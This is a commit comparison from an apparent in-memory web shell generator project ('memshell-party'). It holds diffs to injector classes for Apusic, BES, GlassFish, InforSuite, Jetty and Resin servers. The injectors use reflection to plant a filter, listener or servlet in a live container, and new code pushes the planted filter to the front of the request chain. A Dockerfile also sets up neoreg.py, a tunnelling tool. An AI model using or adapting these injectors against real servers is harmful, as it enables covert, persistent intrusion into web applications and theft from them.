Compare commits

...
43 Commits
Author SHA1 Message Date
ReaJason a1f32c5bf2 chore: 2.4.2 2026-01-12 02:21:44 +08:00
ReaJason 6b10b3f56f chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason 3e3d82218c docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason 202924aa54 fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason 054e22bc3d fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason fa92930353 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 52437d67be refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 117b48a9d0 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 3fe9a932ba feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 1772c08f22 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason e44caeba1b feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 4f080df85a feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 7562469b44 feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 359931a881 chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 8c20f18c70 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason dace117e73 feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason 5c0d26ae16 refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason 8e9d47bbea feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason c1f1802182 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason dc7958e123 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason d59bb9d29f fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 3e966f8fab feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason f940a528f0 test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 0b48dd64bd feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason bf213ae575 fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason c8ede922b9 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason c0a059fbdc refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason b4f8e62fc7 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 1c0d65b353 feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason f26727e6fc test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason 2b1388c8eb test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 9f7b4276e2 test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason b992e5f60e build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason de69a63be5 chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason de462ae8b0 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason d873dae8f3 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 3e2fb861cd ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason cbc71e5a52 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason ad8d2713ad docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason b04a34f1ab docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 2f325934e1 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason b47e437889 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason d1edb8fbdf fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
239 changed files with 12891 additions and 1268 deletions
+12 -3
View File
@@ -12,7 +12,10 @@ on:
jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
@@ -39,10 +42,16 @@ jobs:
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
- name: Build Boot with Gradle (Linux)
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar
- name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
with:
name: boot
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+1 -1
View File
@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app
RUN pip install requests
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py .
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping;
@@ -34,23 +35,18 @@ public class ViewController {
return renderFileData(relativePath, response);
}
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
@ResponseBody
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(4);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
public String handleHtmlView(HttpServletRequest request) {
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index";
}
String viewPath = fullPath.substring(4);
return viewPath + "/index";
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -61,8 +57,6 @@ public class ViewController {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
response.setCharacterEncoding("UTF-8");
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.4.1"
version = "2.4.2"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -218,30 +224,25 @@ public class ApusicFilterInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class ApusicListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -197,30 +197,25 @@ public class ApusicListenerInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class ApusicServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -198,30 +198,25 @@ public class ApusicServletInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class BesFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
@@ -218,30 +218,25 @@ public class BesFilterInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -36,7 +36,7 @@ public class BesListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class BesValveInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -7,7 +7,10 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
}
Object filterDef;
Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader();
try {
// tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) {
// tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
}
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
// addFilterMapFirst
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
filterMaps.add(0, filterMap);
Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
/**
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
}
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
Object filterMaps = getFieldValue(context, "filterMaps");
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// InforSuite10
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
}
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,52 +203,54 @@ public class InforSuiteFilterInjector {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj, fieldName);
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
return;
}
String[] classNames = new String[]{
"org.eclipse.jetty.servlet.FilterHolder",
"org.eclipse.jetty.ee8.servlet.FilterHolder",
"org.eclipse.jetty.ee9.servlet.FilterHolder",
"org.eclipse.jetty.ee10.servlet.FilterHolder",
"org.eclipse.jetty.ee11.servlet.FilterHolder",
"org.mortbay.jetty.servlet.FilterHolder",
String[][] filterHolderClassNames = new String[][]{
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
};
Class<?> filterHolderClass = null;
Class<?> filterMappingClass = null;
for (String className : classNames) {
for (String[] classNames : filterHolderClassNames) {
try {
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
} catch (ClassNotFoundException ignored) {
}
}
if (filterHolderClass == null) {
throw new ClassNotFoundException("FilterHodler");
if (filterHolderClass == null || filterMappingClass == null) {
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
}
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache");
}
private void moveFilterToFirst(Object servletHandler) throws Exception {
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
int filterLength;
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
if (filterMaps.getClass().isArray()) {
filterLength = Array.getLength(filterMaps);
for (int i = 0; i < filterLength; i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
for (int i = 0; i < filterLength; i++) {
Array.set(filterMaps, i, reorderedFilters.get(i));
}
} else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
filterList.clear();
filterList.addAll(reorderedFilters);
Object filterMapping = filterMappingClass.getConstructor().newInstance();
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
Object[] newMappings = null;
int length = Array.getLength(mappings);
if (mappings == null || length == 0) {
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} else {
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
System.arraycopy(mappings, 0, newMappings, 1, length);
}
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache");
}
@Override
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -42,7 +42,7 @@ public class JettyServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -39,7 +39,7 @@ public class ResinFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -136,6 +136,11 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
filterMappings.remove(filterMappingImpl);
filterMappings.add(0, filterMappingImpl);
invokeMethod(context, "clearCache", null, null);
}
@@ -193,30 +198,25 @@ public class ResinFilterInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
